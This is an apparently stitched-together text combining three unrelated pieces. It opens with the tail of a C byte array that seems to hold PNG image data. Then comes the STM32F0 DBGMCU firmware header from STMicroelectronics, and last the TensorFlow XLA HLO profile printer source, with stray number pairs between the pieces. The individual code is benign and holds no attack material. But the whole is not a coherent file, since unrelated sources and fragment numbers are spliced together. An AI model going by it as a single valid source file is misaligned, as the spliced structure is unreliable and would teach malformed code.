0xbb,0x8a,0xff,0xa4,0x55,0xeb,0x0b,0xb5,0xd6,0x7d,0xb3,0x0a,0x96,0x55,0xf0,0xc7, 0x90,0x05,0x00,0x00,0x00,0x4d,0xed,0x05,0x30,0xc7,0xed,0x5d,0xb9,0xf8,0x49,0x81, 0x6f,0xbe,0xf7,0xcd,0xfe,0xe7,0xda,0xae,0xf9,0x3b,0xf9,0x4c,0x84,0x7e,0x72,0xbf, 0xe4,0x6f,0x0a,0x01,0x01,0x00,0x00,0x14,0xa4,0x08,0x98,0xd6,0x79,0x9a,0xa0,0x77, 0x7d,0x1f,0xba,0x1d,0xd3,0xc3,0x60,0x1b,0x3a,0xc8,0xaa,0x54,0xd4,0x1b,0x86,0x00, 0x00,0x00,0xa0,0xa9,0xad,0x7f,0x57,0xae,0xbe,0x6d,0x88,0x20,0x54,0x38,0x9b,0x69, 0x81,0xa6,0x02,0x21,0x56,0x7d,0xec,0xde,0x4f,0xfe,0x3e,0xb6,0xfe,0xe3,0xd7,0xac, 0x71,0x05,0x78,0x00,0x00,0x00,0x00,0x32,0xe0,0x72,0xe7,0xa7,0x79,0x09,0x42,0xbd, 0x09,0xa6,0x70,0x37,0x97,0x35,0x15,0x11,0x9b,0x72,0x81,0x02,0x00,0x00,0x00,0x50, 0xa0,0x17,0x20,0x54,0xe0,0x9b,0x9e,0x02,0x9b,0x17,0x21,0x19,0xc0,0xe7,0x2b,0xf3, 0x6b,0xfb,0xcc,0xfc,0x3d,0x0a,0x00,0x00,0x00,0x40,0x8e,0x56,0x7f,0x35,0xc2,0xd5, 0x36,0x1c,0x60,0x9b,0xde,0xd7,0xf6,0xb9,0x4b,0xc9,0x30,0xe3,0x01,0x5c,0xd3,0x03, 0xa3,0x00,0x00,0x00,0x00,0xd4,0x68,0xfd,0x67,0xf5,0x10,0xd8,0xca,0xfa,0x26,0x05, 0xb6,0x39,0xae,0x9f,0x65,0xfa,0x60,0xd7,0x70,0x40,0x59,0x63,0x00,0x08,0x02,0x04, 0x00,0x80,0x96,0x55,0x0c,0x4c,0x37,0xbf,0x29,0x8c,0x6d,0x6e,0xfa,0xb4,0x57,0x73, 0x1d,0xb6,0xb8,0x00,0x5b,0x70,0x20,0x1e,0x00,0x00,0x00,0x80,0x3a,0x92,0x14,0xc6, 0xa6,0x85,0x1e,0xe7,0xe7,0xbb,0x2c,0x74,0xd7,0x04,0x41,0xb6,0xdf,0xd8,0x0a,0xfe, 0x94,0x3d,0x0d,0x10,0x05,0x00,0x00,0x00,0x5a,0xc6,0xea,0x4f,0x13,0xe8,0x66,0x60, 0x9f,0xcd,0xca,0x77,0x09,0x6f,0x5b,0x51,0xa1,0xd0,0x54,0x42,0x3c,0x00,0x00,0x00, 0x00,0x05,0x08,0xfd,0x50,0x21,0xec,0x9b,0xdc,0xc7,0x55,0x4f,0x20,0x2d,0x66,0xc0, 0x37,0xe7,0x00,0x0a,0x00,0x00,0x00,0x40,0x81,0x4a,0x80,0x2b,0x75,0xcf,0xb6,0x7c, 0x68,0xce,0x7e,0xb2,0x84,0xaf,0x6b,0x38,0xc0,0xa5,0x00,0x54,0x5b,0x69,0x10,0x05, 0x00,0x00,0x00,0x20,0x40,0xf8,0xbb,0xd2,0xf5,0xd2,0x84,0x72,0x9a,0x7b,0xdf,0x14, 0xd6,0xc9,0x18,0x02,0xd7,0x30,0x40,0x9a,0x27,0x20,0xa9,0x4c,0xa0,0x00,0x00,0x00, 0x00,0xe4,0x6c,0xfd,0x87,0x4c,0xff,0xeb,0xf2,0x0e,0xd8,0x4a,0xfd,0xfa,0xaa,0xf9, 0xd9,0x3c,0x09,0xc9,0xbf,0xcb,0x5e,0x04,0x08,0x05,0x00,0x00,0x00,0x9a,0x16,0x9b, 0x8b,0x3e,0x8b,0xd5,0x6f,0xce,0xd2,0x17,0x32,0x9e,0x9f,0xfc,0x9d,0x99,0x02,0x98, 0x26,0xf4,0x19,0x02,0x00,0x00,0x00,0x28,0xc0,0x0b,0xe0,0x12,0xba,0x3e,0xd7,0xbc, 0xed,0x33,0x9b,0x52,0xe1,0xf2,0x14,0x84,0x2a,0x22,0x9f,0xf9,0xcc,0x67,0x50,0x00, 0x00,0x00,0x00,0x8a,0x52,0x00,0x92,0xae,0xfe,0x58,0x28,0x27,0xf3,0xfd,0x43,0x14, 0x88,0xb4,0xd8,0x02,0x73,0xfd,0xbe,0xcc,0x02,0xe1,0xd8,0x63,0x8f,0x55,0xbb,0xec, 0xb2,0x4b,0xe9,0x8e,0x1d,0x95,0x00,0x01,0x00,0xa0,0x69,0x85,0xbf,0x59,0x91,0xcf, 0x35,0x69,0x8f,0x2f,0x8a,0xdf,0x35,0xe5,0x6f,0x48,0x6c,0x80,0x6b,0x5d,0xf2,0xfb, 0xa3,0x8f,0x3e,0x5a,0x7d,0xf4,0xa3,0x1f,0x2d,0xe5,0x7c,0x00,0x78,0x00,0x00,0x00, 0xa0,0x29,0xb1,0x59,0xf6,0xc9,0xf1,0x79,0xd3,0x82,0x77,0x59,0xec,0x49,0xa5,0xc1, 0x5c,0xa7,0xf9,0x77,0x9a,0x17,0x21,0xb9,0x5d,0xf9,0xec,0xa8,0xa3,0x8e,0x52,0xdb, 0x6c,0xb3,0x4d,0xc7,0x72,0xf2,0x79,0xdc,0x92,0xc4,0x7f,0xd7,0x5b,0x49,0x40,0x01, 0x00,0x00,0x80,0x96,0xf0,0x02,0xb8,0x2c,0xf3,0xe4,0x72,0x69,0x69,0x83,0xbe,0x39, 0x00,0x6c,0xdb,0x76,0xcd,0x35,0xb0,0xf7,0xde,0x7b,0xab,0x2d,0xb7,0xdc,0x32,0x55, 0xe8,0xa7,0x29,0x03,0x28,0x00,0x00,0x00,0x00,0x29,0xc2,0xdf,0xf6,0x3e,0xe9,0x0d, 0x30,0xbf,0xb3,0xcd,0xfe,0x67,0xce,0x0d,0x90,0xb6,0x7e,0x33,0x06,0x20,0x7e,0x9f, 0xcc,0x00,0x18,0x31,0x62,0x84,0xda,0x75,0xd7,0x5d,0xd7,0x12,0xf2,0x66,0x33,0x49, 0x7e,0x56,0x2f,0x25,0x00,0x05,0x00,0x00,0x00,0x5a,0x46,0x09,0x48,0x2b,0xd5,0x6b, 0x0a,0xea,0x90,0x71,0x7d,0x53,0x20,0x27,0x87,0x18,0x5c,0xeb,0x91,0x71,0xff,0xce, 0x9d,0x3b,0xa7,0x2a,0x00,0x3e,0x85,0xa0,0x1e,0x10,0x04,0x08,0x00,0x00,0x4d,0x89, 0x6d,0xa6,0x3f,0xdb,0x67,0xf1,0xe7,0xb6,0x80,0x41,0x73,0x7a,0x5f,0xdb,0xdf,0xb2, 0x7c,0xdc,0x92,0xdb,0x35,0xd7,0x33,0x7f,0xfe,0x7c,0x75,0xf2,0xc9,0x27,0xab,0xae, 0x5d,0xbb,0x5a,0x85,0xbc,0x4d,0x29,0x68,0x24,0x0d,0x57,0x00,0xe4,0x40,0x01,0x00, 0x00,0x54,0x23,0xfc,0xcd,0x62,0x3c,0xa6,0x62,0x60,0xbe,0xda,0x04,0xbd,0x2b,0x86, 0xc0,0x35,0xee,0x6f,0xcb,0x3e,0x98,0x33,0x67,0x8e,0xfa,0xc2,0x17,0xbe,0xa0,0xfa, 0xf4,0xe9,0xd3,0x21,0xec,0xcd,0xe6,0x52,0x02,0x1a,0xa5,0x10,0x34,0x5c,0x01,0xe8, 0xdb,0xb7,0x2f,0x57,0x32,0x00,0x00,0x64,0x56,0x00,0x92,0x6e,0xf8,0xa4,0x35,0xee, 0xb2,0xe4,0xd3,0xd2,0xfe,0xe2,0xdf,0xbb,0xbc,0x0a,0xa6,0x17,0x21,0xf9,0xfb,0xd9, 0xb3,0x67,0x47,0x85,0x7e,0x86,0x0f,0x1f,0x1e,0x09,0xf8,0x2e,0x5d,0xba,0x74,0xbc, 0xc6,0xcd,0x54,0x02,0x4c,0x45,0x20,0xa6,0x9e,0x19,0x01,0x0d,0x57,0x00,0x7a,0xf5, 0xea,0xc5,0x95,0x0c,0x00,0x00,0x99,0x58,0xb5,0x6a,0x95,0xd5,0x92,0x77,0xb5,0xa4, 0x05,0x6f,0x0a,0x79,0xdb,0xe7,0xb1,0x82,0xe1,0xab,0x06,0x28,0x96,0xbf,0x14,0xfa, 0xd9,0x78,0xe3,0x8d,0xd7,0x11,0xfe,0x49,0xeb,0xdf,0x54,0x06,0x4c,0xe1,0xdf,0x96, 0x1e,0x80,0x81,0x03,0x07,0x72,0x25,0x03,0x00,0x40,0x4d,0x0a,0x40,0x88,0x32,0x60, 0x0a,0x78,0xf3,0xf7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0x07,0x1f,0xac,0x46,0x8f,0x1e,0x6d,0xb5,0xf8,0x45,0xd8,0xbb,0x9a,0x29,0xfc, 0x93,0x81,0x80,0x49,0x45,0xa0,0xde,0xd4,0x25,0x06,0xc0,0xd5,0x31,0xf9,0x5c,0x0e, 0x8e,0xd4,0x4b,0x06,0x00,0x00,0x48,0x13,0xfe,0x2b,0x57,0xae,0xb4,0x96,0xf7,0x75, 0xa5,0xe7,0xb9,0xc6,0xf1,0x4d,0xcb,0xdf,0x57,0x37,0x40,0xda,0xa7,0x3f,0xfd,0xe9, 0xb5,0x84,0x7f,0x52,0x01,0x48,0x0a,0x7b,0x19,0x9a,0x88,0x9b,0x4d,0x09,0x90,0x96, 0xcc,0x12,0x68,0x64,0x26,0x40,0xa1,0x0a,0x80,0xab,0xde,0xb1,0xd9,0xc9,0xad,0xb7, 0xde,0x9a,0xab,0x1b,0x00,0x00,0xac,0x88,0xe0,0x97,0x96,0x14,0xd8,0xb6,0xbc,0x7f, 0x9b,0xd0,0xb7,0x7d,0x66,0x56,0x05,0x34,0x97,0x31,0x97,0x17,0xe1,0xbf,0xfe,0xfa, 0xeb,0x7b,0x85,0xbf,0xcf,0x03,0xe0,0x1b,0x02,0xf0,0x19,0xcd,0x79,0x53,0xc8,0x10, 0x40,0xda,0xcc,0x47,0xb6,0x65,0x37,0xdb,0x6c,0x33,0xae,0x70,0x00,0x00,0x70,0x0a, 0xff,0xa4,0x30,0x37,0x05,0xbb,0xe9,0xaa,0x37,0x95,0x02,0x73,0xd2,0x1f,0xdf,0x94, 0xc0,0xc9,0x75,0x1d,0x71,0xc4,0x11,0x1d,0x43,0xd5,0x49,0xe1,0x6f,0x13,0xf4,0x36, 0xeb,0xdf,0x14,0xfe,0xb6,0xca,0x80,0x8d,0xb0,0xfe,0x0b,0xf7,0x00,0x84,0x7a,0x01, 0xa4,0x18,0xd0,0x76,0xdb,0x6d,0xc7,0x95,0x0e,0x00,0x00,0x6b,0x09,0xff,0x15,0x2b, 0x56,0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f3,0xcd,0x37,0x33,0x1c,0x00,0x00,0xd0,0xc4,0x96,0xbf, 0x3c,0xd7,0x6d,0x81,0x7c,0xb6,0xb2,0xbe,0xf2,0xba,0xe3,0x8e,0x3b,0xa6,0x06,0xf4, 0xb9,0x02,0xfb,0x42,0x05,0xbf,0x2d,0xea,0x3f,0xa9,0x00,0xd8,0x94,0x01,0x53,0x59, 0x30,0x3d,0xd8,0x4d,0x20,0xfc,0x85,0x49,0xe2,0x01,0x98,0x55,0x84,0x02,0x60,0x3b, 0x41,0x3e,0xeb,0xdf,0xd5,0x44,0x81,0xe8,0xd7,0xaf,0x9f,0x1a,0x3f,0x7e,0xbc,0xba, 0xed,0xb6,0xdb,0x08,0x0c,0x04,0x00,0x68,0x42,0xe1,0x9f,0x7c,0x76,0xbb,0x66,0xea, 0x13,0xa4,0x34,0xbc,0x8c,0xed,0x87,0x06,0xf4,0xf9,0x04,0xbf,0xe9,0x5d,0x76,0x09, 0xff,0xa4,0xf5,0x6f,0x53,0x02,0x6c,0x82,0xdf,0x37,0xe6,0x5f,0x52,0xe1,0x2f,0xcc, 0x12,0x05,0xa0,0xd0,0xe2,0xfb,0x21,0xc1,0x17,0xe6,0x41,0x95,0x26,0x1e,0x03,0x69, 0x49,0x2f,0x82,0x54,0x70,0x3a,0xfa,0xe8,0xa3,0xd5,0x43,0x0f,0x3d,0x44,0x8a,0x20, 0x00,0x40,0x93,0x09,0x7f,0x33,0x72,0x3f,0xf9,0x5e,0x5c,0xec,0x12,0xc5,0x3f,0x76, 0xec,0xd8,0xcc,0x01,0x7d,0xa6,0x7c,0x49,0x0a,0x64,0xdb,0xf0,0x72,0x9a,0xf0,0x37, 0x95,0x00,0xf3,0x7d,0xf2,0x77,0x65,0xad,0xf0,0x17,0xc8,0x34,0x51,0x00,0xa6,0x14, 0x29,0xfc,0x6d,0x05,0x81,0x42,0xc6,0x5f,0x62,0x05,0x40,0x5a,0xec,0x05,0x88,0xc7, 0x84,0xf6,0xda,0x6b,0xaf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00,0xd4,0xa6,0x04,0xa4, 0x29,0x00,0x45,0x8d,0xeb,0xa7,0x09,0xfe,0xb4,0xb9,0x66,0xd2,0x2c,0xfd,0x34,0xa1, 0xdf,0xc4,0x56,0x7f,0xcc,0x8a,0x35,0x32,0xff,0x43,0x05,0x40,0x77,0x62,0x81,0x16, 0x86,0x0f,0xe8,0xb7,0x07,0xd5,0xc3,0x0b,0x90,0x1c,0x0f,0x32,0xbd,0x00,0x3e,0x05, 0xc0,0x54,0x22,0x4c,0x57,0x52,0x32,0x7e,0xc0,0x54,0x02,0x92,0xdb,0xc4,0x03,0x00, 0x00,0x90,0xbf,0xe0,0xf7,0x3d,0xa3,0xab,0x4d,0xdd,0x0b,0x15,0xfe,0x79,0x0a,0x7d, 0x97,0xb5,0xdf,0xe4,0x86,0xe3,0x03,0x22,0xf3,0x93,0x1e,0x00,0xe1,0xba,0xa2,0x14, 0x00,0xd7,0x05,0x13,0x2b,0x02,0x49,0xc1,0xec,0x1a,0xf7,0xf7,0x69,0x94,0x71,0x56, 0x40,0x2c,0xf4,0xd3,0x82,0x08,0x6d,0x9e,0x00,0x00,0x00,0xc8,0xd7,0xf2,0x4f,0xab, 0xd2,0xe7,0xab,0xce,0x17,0xf2,0x99,0xed,0xf7,0xa1,0xee,0xfd,0xb4,0x71,0x7d,0x57, 0x54,0x7f,0x8b,0x78,0x8c,0xaf,0x8b,0xdf,0x24,0x15,0x80,0x9b,0x75,0xfb,0xad,0x6e, 0x3d,0x8b,0xf6,0x02,0x24,0x15,0x80,0x64,0x46,0x80,0x2d,0xd8,0xcf,0xb6,0x1e,0xdb, 0x05,0x15,0x0b,0x7f,0x5b,0x09,0x61,0x33,0x26,0x20,0x29,0xf4,0x6d,0xdb,0x43,0x21, 0x00,0x00,0x70,0x0b,0x7c,0x9f,0xe0,0x0f,0x99,0xfe,0x3d,0xc4,0xd2,0x0f,0x0d,0xea, 0x73,0x55,0x02,0x34,0x15,0x90,0x90,0x80,0xbe,0x16,0x16,0xfc,0xc2,0xd2,0x35,0xb2, 0x7e,0x6d,0x05,0x40,0x77,0x70,0xae,0x16,0x7c,0x37,0xea,0xb7,0x9f,0xa9,0xe7,0x45, 0x94,0x1c,0x0e,0x48,0x56,0x84,0xb2,0x09,0xfd,0x34,0x8d,0x32,0x6e,0x66,0x05,0x41, 0x5b,0x31,0xa1,0xa4,0xc7,0x01,0xa1,0x0f,0x00,0x50,0x9b,0xf5,0x1f,0x22,0xfc,0x43, 0x2d,0xfe,0x50,0x05,0x20,0x34,0x65,0xcf,0x15,0xd0,0x67,0xee,0xbb,0x4d,0x3e,0xb5, 0x60,0x8c,0xd8,0x8d,0x22,0xeb,0x6d,0x1e,0x00,0xe1,0x8a,0x22,0x15,0x80,0x64,0x59, 0x60,0x53,0x01,0x08,0xb1,0xfa,0x4d,0x05,0x20,0xbe,0x10,0xa4,0x30,0x50,0x7c,0xb1, 0x88,0x27,0x20,0xa9,0x00,0xc4,0x05,0x82,0x4c,0x4f,0x80,0xcb,0x0b,0x80,0x22,0x00, 0x00,0x10,0x26,0xf8,0x93,0xcf,0xe7,0xf8,0x79,0x6e,0x7b,0x4e,0xa7,0x59,0xfe,0x21, 0x95,0xf8,0xb2,0x8c,0xed,0xdb,0x04,0x7f,0x9b,0x5a,0xfb,0x36,0xae,0x48,0xfe,0xd1, 0xd5,0x38,0xb9,0x8f,0x68,0x01,0xf8,0x8c,0x7e,0xbb,0x73,0x3d,0x95,0x00,0x33,0x1e, 0x20,0x4d,0x01,0x48,0x5e,0x54,0x22,0xf8,0x93,0x43,0x00,0xd2,0x92,0x4a,0x80,0x19, 0x0b,0x10,0x12,0x0f,0x80,0x22,0x00,0x00,0xa0,0x52,0x2d,0x61,0x5f,0xd0,0x5f,0x16, 0xb7,0xbf,0xad,0xde,0x7e,0x88,0x9b,0xbf,0xd6,0x28,0xfe,0x36,0x12,0xfa,0x31,0xcf, 0x88,0x8c,0x77,0x2a,0x00,0x6b,0xb8,0x58,0xb7,0xbf,0x16,0x7d,0x31,0x25,0x95,0x80, 0x38,0x70,0xcf,0xa6,0x04,0xa4,0xb9,0x95,0xe2,0x0b,0x23,0x16,0xfe,0xb1,0xe0,0x4f, 0x2a,0x00,0xe6,0x9c,0x02,0xc4,0x02,0x00,0x00,0x54,0x2f,0xfc,0x6d,0x82,0xdf,0xe6, 0xa5,0xb5,0x4d,0xc9,0x9b,0xc5,0xfd,0x6f,0x2b,0xd4,0x53,0x6d,0x40,0x5f,0x9b,0x5a, 0xfb,0x36,0xd9,0xbe,0xf6,0x79,0xb4,0x08,0x3d,0x91,0xc2,0x32,0x41,0xd0,0xd6,0x45, 0xee,0x89,0x4d,0x00,0x27,0x85,0x74,0x52,0x80,0x27,0x85,0x7a,0x52,0xd8,0xdb,0x9a, 0x6d,0x26,0x41,0xdf,0x30,0x80,0x29,0xe8,0x11,0xfc,0x00,0x00,0x6e,0x45,0xc0,0xa7, 0x00,0x84,0xa6,0xfa,0xb9,0xac,0x7e,0x57,0x50,0x1f,0x01,0x7d,0x55,0x23,0x13,0xe4, 0x6c,0xa7,0xfb,0xbe,0x3a,0xd5,0x03,0x20,0x0b,0x68,0x01,0xf8,0x3d,0xfd,0xf6,0x86, 0x7a,0x79,0x01,0x92,0xd3,0x05,0x27,0x3d,0x01,0x3e,0xf7,0x92,0x79,0x21,0xb9,0x14, 0x80,0x90,0x79,0x05,0xd2,0x84,0x3e,0x0a,0x01,0x00,0x60,0xf9,0xfb,0x3d,0x00,0x69, 0x41,0xda,0x21,0x19,0x00,0xa1,0x82,0x9f,0x80,0xbe,0xcc,0x9c,0x67,0x0a,0x7f,0xab, 0x07,0x20,0x21,0xf4,0xee,0xd7,0x2f,0xfb,0x16,0xbd,0x57,0x36,0x4f,0x40,0xb2,0x14, 0x70,0xb2,0x99,0xc2,0xdd,0xf4,0x0e,0xf8,0x84,0x7f,0xa8,0x02,0x80,0xc0,0x07,0x00, 0xc8,0xc7,0x03,0x10,0x32,0x6d,0xaf,0x4d,0xf0,0x63,0xed,0xe7,0x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xfe,0x9a,0xb2,0xe4,0x10,0xd6,0x43,0x09, 0x08,0x55,0x04,0x5c,0x02,0xdf,0x57,0xfc,0x27,0x24,0x0b,0x00,0x00,0x00,0x94,0x55, 0xf0,0xdb,0x2c,0x74,0x9b,0x60,0x77,0x09,0x7c,0x57,0x34,0x3f,0xd6,0x7e,0x4d,0x9c, 0xad,0x8f,0xd7,0x25,0xde,0xf3,0x98,0x41,0x20,0xdf,0xa6,0x5f,0x0e,0xab,0x77,0x2f, 0x4c,0x45,0x20,0x4d,0x19,0x70,0x29,0x07,0xb6,0xe5,0x6d,0x42,0x1f,0x25,0x00,0x00, 0xa0,0x3a,0x0f,0x80,0xcb,0x13,0x10,0xda,0x6c,0xeb,0x43,0xf0,0x57,0xc5,0xed,0xfa, 0x98,0xfd,0x47,0xd0,0xb9,0xcc,0x20,0x88,0x07,0xeb,0x97,0x27,0x75,0x1b,0xdb,0x88, 0x1e,0xf9,0x3c,0x02,0x2e,0xa5,0xc0,0xb5,0x5c,0x9a,0xd0,0x47,0x11,0x00,0x00,0x70, 0x0b,0x7e,0x97,0x32,0x90,0x96,0x93,0x4f,0x69,0xde,0xba,0x30,0x49,0xb7,0xdd,0xf4, 0xf1,0x9b,0x93,0xab,0x02,0xb0,0x46,0x30,0x4a,0x30,0xe0,0x63,0xba,0x0d,0x6b,0x54, 0xef,0x5c,0x8a,0x80,0xcd,0x43,0x90,0xf6,0x19,0x02,0x1f,0x00,0x20,0x3f,0x85,0x20, 0x64,0x58,0xc0,0xb5,0x1c,0x82,0x3f,0x17,0x66,0xe8,0x36,0x4e,0x1f,0xc3,0x29,0xc1, 0xe7,0xb0,0x0a,0x01,0xbc,0xbd,0x7e,0x79,0x48,0xb7,0x01,0x8d,0xec,0xa9,0x4b,0x88, 0xa7,0x59,0xf9,0xa1,0x01,0x7f,0x28,0x04,0x00,0x00,0x7e,0x0f,0x80,0xcb,0x13,0xe0, 0x13,0xf0,0x04,0xf5,0xe5,0xce,0x3c,0xdd,0xf6,0xd6,0xc7,0xf1,0x85,0x4c,0xe7,0xb4, 0x4a,0xe1,0xbb,0xb7,0x7e,0xf9,0xbf,0xba,0xf5,0x2c,0x43,0xcf,0x7d,0x16,0x7d,0x88, 0xe0,0x47,0xe8,0x03,0x00,0xd4,0xa6,0x0c,0xa4,0x59,0xf3,0x08,0xfd,0xc2,0x58,0xaa, 0xdb,0xc1,0xfa,0x78,0x3e,0x94,0xf9,0x3c,0xd6,0x20,0x74,0x45,0x09,0xb8,0xb5,0xd1, 0x9e,0x80,0x2c,0xc2,0x3c,0x54,0xc8,0xa3,0x0c,0x00,0x00,0x84,0x7b,0x00,0xb2,0x2a, 0x07,0x90,0xab,0xe5,0x7f,0x78,0x35,0xc2,0xbf,0x26,0x05,0x60,0x8d,0xa0,0xdc,0x7e, 0x8d,0x27,0x60,0x58,0x33,0x1d,0x31,0x04,0x3c,0x00,0x40,0x63,0x14,0x04,0xc8,0x8d, 0x19,0x6b,0x2c,0xff,0x17,0xaa,0x3e,0x67,0x39,0x08,0x53,0x09,0x0c,0xbc,0x47,0x35, 0x28,0x3b,0x00,0x00,0x00,0xa0,0xcd,0x90,0x68,0xff,0x83,0xb2,0x04,0xfc,0xd9,0xe8, 0x9c,0x83,0xd6,0x27,0x3b,0xb0,0x9b,0x6e,0xb7,0x73,0x4e,0x00,0x00,0x00,0x0a,0x45, 0x64,0xed,0x6e,0xb5,0x0a,0xff,0x5c,0x14,0x80,0x35,0x4a,0xc0,0x9c,0x35,0x85,0x07, 0xce,0x56,0x1f,0x96,0x20,0x04,0x00,0x00,0x80,0xfc,0x10,0xd9,0x2a,0x15,0xfe,0xfe, 0x23,0x34,0xcf,0xdf,0x2b,0xbb,0xf3,0xde,0xc3,0x35,0x73,0x07,0x5c,0xa3,0xea,0x38, 0x81,0x10,0x00,0x00,0x40,0x0b,0x23,0xd6,0xfe,0x09,0xbe,0xda,0xfe,0x0d,0xf1,0x00, 0x18,0xde,0x00,0xd9,0xc1,0x6d,0x74,0xfb,0x89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0xd2,0x16,0x6f,0xd6,0x0a,0x41,0x5f,0xf5,0x61, 0x3a,0xe1,0x76,0xea,0xc3,0x32,0xc3,0x52,0x57,0x60,0xa4,0x6e,0xeb,0xe9,0x36,0x58, 0xb7,0x5e,0xba,0x75,0xd7,0xad,0x0b,0xd7,0x17,0x00,0x00,0x34,0x80,0x55,0xea,0xc3, 0x54,0xbd,0x25,0xba,0x49,0x71,0x9e,0x59,0xba,0x4d,0x53,0x1f,0xe6,0xed,0x4b,0xb9, 0xde,0x17,0x45,0xf8,0x6b,0x81,0xbf,0xa8,0x8c,0x3b,0xff,0xff,0x00,0xa9,0xd9,0x66, 0x33,0x79,0x3c,0x5d,0x0d,0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60, 0x82, };
128,297
369
/** ****************************************************************************** * @file stm32f0xx_dbgmcu.h * @author MCD Application Team * @version V1.0.0RC1 * @date 27-January-2012 * @brief This file contains all the functions prototypes for the DBGMCU firmware * library. ****************************************************************************** * @attention * * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. * * FOR MORE INFORMATION PLEASE READ CAREFULLY THE LICENSE AGREEMENT FILE * LOCATED IN THE ROOT DIRECTORY OF THIS FIRMWARE PACKAGE. * * <h2><center>&copy; COPYRIGHT 2012 STMicroelectronics</center></h2> ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __STM32F0XX_DBGMCU_H #define __STM32F0XX_DBGMCU_H #ifdef __cplusplus extern "C" { #endif /* Includes ------------------------------------------------------------------*/ #include "stm32f0xx.h" /** @addtogroup STM32F0xx_StdPeriph_Driver * @{ */ /** @addtogroup DBGMCU * @{ */ /* Exported types ------------------------------------------------------------*/ /* Exported constants --------------------------------------------------------*/ /** @defgroup DBGMCU_Exported_Constants * @{ */ #define DBGMCU_STOP DBGMCU_CR_DBG_STOP #define DBGMCU_STANDBY DBGMCU_CR_DBG_STANDBY #define IS_DBGMCU_PERIPH(PERIPH) ((((PERIPH) & 0xFFFFFFF9) == 0x00) && ((PERIPH) != 0x00)) #define DBGMCU_TIM2_STOP DBGMCU_APB1_FZ_DBG_TIM2_STOP #define DBGMCU_TIM3_STOP DBGMCU_APB1_FZ_DBG_TIM3_STOP #define DBGMCU_TIM6_STOP DBGMCU_APB1_FZ_DBG_TIM6_STOP #define DBGMCU_TIM14_STOP DBGMCU_APB1_FZ_DBG_TIM14_STOP #define DBGMCU_RTC_STOP DBGMCU_APB1_FZ_DBG_RTC_STOP #define DBGMCU_WWDG_STOP DBGMCU_APB1_FZ_DBG_WWDG_STOP #define DBGMCU_IWDG_STOP DBGMCU_APB1_FZ_DBG_IWDG_STOP #define DBGMCU_I2C1_SMBUS_TIMEOUT DBGMCU_APB1_FZ_DBG_I2C1_SMBUS_TIMEOUT #define IS_DBGMCU_APB1PERIPH(PERIPH) ((((PERIPH) & 0xFFDFE2EC) == 0x00) && ((PERIPH) != 0x00)) #define DBGMCU_TIM1_STOP DBGMCU_APB2_FZ_DBG_TIM1_STOP #define DBGMCU_TIM15_STOP DBGMCU_APB2_FZ_DBG_TIM15_STOP #define DBGMCU_TIM16_STOP DBGMCU_APB2_FZ_DBG_TIM16_STOP #define DBGMCU_TIM17_STOP DBGMCU_APB2_FZ_DBG_TIM17_STOP #define IS_DBGMCU_APB2PERIPH(PERIPH) ((((PERIPH) & 0xFFF8F7FF) == 0x00) && ((PERIPH) != 0x00)) /** * @} */ /* Exported macro ------------------------------------------------------------*/ /* Exported functions ------------------------------------------------------- */ /* Device and Revision ID management functions ********************************/ uint32_t DBGMCU_GetREVID(void); uint32_t DBGMCU_GetDEVID(void); /* Peripherals Configuration functions ****************************************/ void DBGMCU_Config(uint32_t DBGMCU_Periph, FunctionalState NewState); void DBGMCU_APB1PeriphConfig(uint32_t DBGMCU_Periph, FunctionalState NewState); void DBGMCU_APB2PeriphConfig(uint32_t DBGMCU_Periph, FunctionalState NewState); #ifdef __cplusplus } #endif #endif /* __STM32F0XX_DBGMCU_H */ /** * @} */ /** * @} */ /******************* (C) COPYRIGHT 2012 STMicroelectronics *****END OF FILE****/
1,575
848
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/service/hlo_profile_printer.h" #include "absl/algorithm/container.h" #include "absl/strings/str_cat.h" #include "tensorflow/compiler/xla/service/human_readable_profile_builder.h" namespace xla { string PrintHloProfile(const HloProfilePrinterData& hlo_profile_printer_data, const int64* counters, double clock_rate_ghz) { using HloComputationInfo = HloProfilePrinterData::HloComputationInfo; using HloInstructionInfo = HloProfilePrinterData::HloInstructionInfo; string result; for (const auto& item : hlo_profile_printer_data.extra_metrics()) { absl::StrAppend(&result, "Extra metric ", item.first, ": ", counters[item.second], "\n"); } for (const HloComputationInfo& computation_info : hlo_profile_printer_data.computation_infos()) { const auto& instruction_infos = computation_info.instruction_infos(); bool any_instruction_profiled = absl::c_any_of( instruction_infos, [&](const HloInstructionInfo& instruction_info) { return counters[instruction_info.profile_index()] != 0; }); if (!any_instruction_profiled) { continue; } // Once we start using this in AOT for real, we will probably need a more // minimal version of HumanReadableProfileBuilder. HumanReadableProfileBuilder builder( computation_info.name(), hlo_profile_printer_data.entry_computation() == computation_info.name(), counters[computation_info.profile_index()], clock_rate_ghz); for (const auto& instruction_info : instruction_infos) { builder.AddOp( /*op_name=*/instruction_info.long_name(), /*short_name=*/instruction_info.short_name(), instruction_info.category(), counters[instruction_info.profile_index()], instruction_info.flop_count(), instruction_info.transcendental_count(), instruction_info.bytes_accessed(), instruction_info.optimal_seconds()); } result += builder.ToString(); } return result; } } // namespace xla
960
1,826
